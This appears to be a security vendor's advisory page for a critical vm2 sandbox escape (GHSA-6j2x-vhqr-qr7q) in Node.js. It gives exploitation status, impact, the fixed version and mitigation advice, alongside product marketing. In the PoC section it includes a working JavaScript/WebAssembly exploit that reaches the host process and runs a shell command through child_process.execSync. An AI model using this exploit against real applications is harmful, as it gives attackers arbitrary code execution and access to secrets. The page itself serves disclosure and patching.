GHSA-6j2x-vhqr-qr7q is a critical-severity (CVSS 9.8) CWE-913 vulnerability in vm2. O3 Security confirms whether GHSA-6j2x-vhqr-qr7q is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
vm2 sandbox escape via JSPI-backed Promise `.finally()` species bypass
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-6j2x-vhqr-qr7q.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-6j2x-vhqr-qr7q plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 0 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
vm2npmDescription
Summary
A sandbox escape vulnerability in vm2 allows arbitrary code execution in the host process when untrusted code is executed with async support on runtimes exposing WebAssembly JSPI (WebAssembly.promising / WebAssembly.Suspending). In the tested configuration, a JSPI-backed Promise can reach Promise.prototype.finally() in a way that bypasses the expected Promise-species hardening and exposes a host-originated rejection object to attacker-controlled species logic, breaking the sandbox boundary.
This is a critical sandbox escape: any application that treats vm2 as a security boundary may be fully compromised.
Details
On node26, JSPI-backed Promises created through WebAssembly.promising(...) do not behave like ordinary sandbox Promises.
That path yields a host-originated TypeError during JSPI processing. Inside attacker-controlled species logic reached through .finally(), the rejection object exposes a usable host constructor chain. In the tested environment, the rejection object's constructor path can be used to reach host process, which leads to arbitrary code execution in the host process.
This behavior is specific to the JSPI / .finally() interaction. In contrast, the corresponding then / catch paths still appeared to route through vm2's expected localPromise machinery in my testing.
PoC
Environment: node:26-bookworm
const {VM} = require("vm2");
const vm = new VM();
console.log(vm.run(`
(()=>{let b=Uint8Array.of(0,97,115,109,1,0,0,0,1,4,1,96,0,0,2,7,1,1,109,1,102,0,0,3,2,1,0,7,7,1,3,114,117,110,0,1,10,6,1,4,0,16,0,11);WebAssembly.instantiate(b,{m:{f:new WebAssembly.Suspending(()=>WebAssembly.compileStreaming(Promise.resolve(0)))}}).then(r=>{let p=WebAssembly.promising(r.instance.exports.run)();class F{constructor(x){this.s=0;this.q=[];x(v=>{this.s=1;this.v=v;for(let i of this.q)if(i[0])i[0](v)},e=>{
let P=e.constructor.constructor('return process')()
P.mainModule.require('child_process').execSync('touch pwned');
this.s=2;this.v=e;for(let i of this.q)if(i[1])i[1](e)})}then(f,r){if(this.s==1)return f?f(this.v):this.v;if(this.s==2){if(r)return r(this.v);throw this.v}this.q.push([f,r]);return 0}}Object.defineProperty(F,Symbol.species,{get(){return F}});Object.defineProperty(p,'constructor',{get(){return F}});p.finally(()=>{})});return 1})()
`));
Impact
This is a sandbox escape leading to arbitrary code execution in the host process.
Who is impacted:
- any application using
vm2to execute attacker-controlled JavaScript as a security boundary - especially Node.js runtimes exposing WebAssembly JSPI features (Node 26)
Practical impact:
- arbitrary command execution in the host process
- arbitrary file read / write accessible to the host process
- theft of secrets, tokens, credentials, and application data
- complete compromise of services relying on
vm2isolation
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | vm2 | all versions | 3.11.4 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for vm2. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update vm2 to 3.11.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-6j2x-vhqr-qr7q is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-6j2x-vhqr-qr7q is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-6j2x-vhqr-qr7q. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
The Red Hat Product Security team has rated the impact of this vulnerability as Moderate in Red Hat Developer Hub and Ansible Automation Platform.The affected package is present in both products as a transitive dependency; however, the vulnerable sandbox functionality is not invoked in any production code path. The…
Frequently Asked Questions
Is GHSA-6j2x-vhqr-qr7q in your dependencies?
O3 detects GHSA-6j2x-vhqr-qr7q across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.